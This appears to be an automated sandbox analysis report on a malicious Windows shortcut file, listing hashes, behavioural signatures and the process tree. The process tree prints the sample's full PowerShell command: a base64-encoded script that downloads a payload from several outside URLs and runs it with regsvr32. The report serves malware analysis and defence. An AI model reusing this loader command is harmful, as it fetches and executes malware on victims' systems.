Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
13-11-2024 09:41
Static task
static1
Behavioral task
behavioral1
Sample
413443d3c9cd0697f6225103d9105b58acb30b7d2fc727400d062ff3e2f14f87.lnk
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
413443d3c9cd0697f6225103d9105b58acb30b7d2fc727400d062ff3e2f14f87.lnk
Resource
win10v2004-20241007-en
General
-
Target
413443d3c9cd0697f6225103d9105b58acb30b7d2fc727400d062ff3e2f14f87.lnk
-
Size
2KB
-
MD5
b42c043666c9902b91ae6a95cad6eff7
-
SHA1
d5d7fd9f52e7a8744eb327508cfbf19ad7dc0e77
-
SHA256
413443d3c9cd0697f6225103d9105b58acb30b7d2fc727400d062ff3e2f14f87
-
SHA512
012c7420631f47eea8781d224174d8485b57bc7694785897b3238d505cf2acbcf45461628938c3396702beb455590884f0de0f350578c43e5ebe49df56e60553
Malware Config
Signatures
-
Processes:
powershell.exepowershell.exepid Process 2844 powershell.exe 2560 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid Process 2844 powershell.exe 2560 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid Process Token: SeDebugPrivilege 2844 powershell.exe Token: SeDebugPrivilege 2560 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
cmd.exepowershell.exedescription pid Process procid_target PID 1668 wrote to memory of 2844 1668 cmd.exe 32 PID 1668 wrote to memory of 2844 1668 cmd.exe 32 PID 1668 wrote to memory of 2844 1668 cmd.exe 32 PID 2844 wrote to memory of 2560 2844 powershell.exe 33 PID 2844 wrote to memory of 2560 2844 powershell.exe 33 PID 2844 wrote to memory of 2560 2844 powershell.exe 33
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\413443d3c9cd0697f6225103d9105b58acb30b7d2fc727400d062ff3e2f14f87.lnk1⤵
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "SOC report 04 27 2022.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL2htZW5nLmNvLnVrL2NnaS1iaW4vSC8iLCJodHRwczovL2Vkb3Jhc2VndXJvcy5jb20uYnIvY2dpLWJpbi9taDNNTUdLZmhYdEovIiwiaHR0cHM6Ly93d3cucmVuZWV0dGVuLm5sL01lbnUvWE5NaHg2blNubnBwOGFaemsvIiwiaHR0cDovL2JyZW5kYW5jbGVhcnkubmV0L2ltYWdlcy9vSUxFSnhPYjAyMU9naEdkeHMvIiwiaHR0cHM6Ly9iZW5jZXZlbmRlZ2hhei5odS93cC1pbmNsdWRlcy9pVVd2VU5xLyIsImh0dHA6Ly9hbmF0LWJhci5jby5pbC93cC1hZG1pbi9ENkxpczVDdHJNZHVyTS8iKTtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZW52OlRFTVAvd1p4cGNHaHFQeC5lcVo7UmVnc3ZyMzIuZXhlICRlbnY6VEVNUC93WnhwY0docVB4LmVxWjticmVha30gY2F0Y2ggeyB9fQ==')) > "C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\hgUQRrLvVK.ps1"; Remove-Item "$env:TEMP/\hgUQRrLvVK.ps1" -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2844 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\hgUQRrLvVK.ps13⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2560
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
926B
MD58ef6909ba4b9e6cd6676297601c39e5c
SHA19dcd9af682adacb278c1970d49babafd29df3928
SHA2569a9ba2e8478d73ec02ff4c0d2c30dc0e7fad0e54d16737875c2b60fcbcac727c
SHA512b8f40c8d659c82034984d703ea1a6cf4cbcdb3039bf917e2d9eba391f910af860c1e154ebe1b1004532b0412fa5c39db554a54f7c1bb1ec32c0bfcf4eb6900b5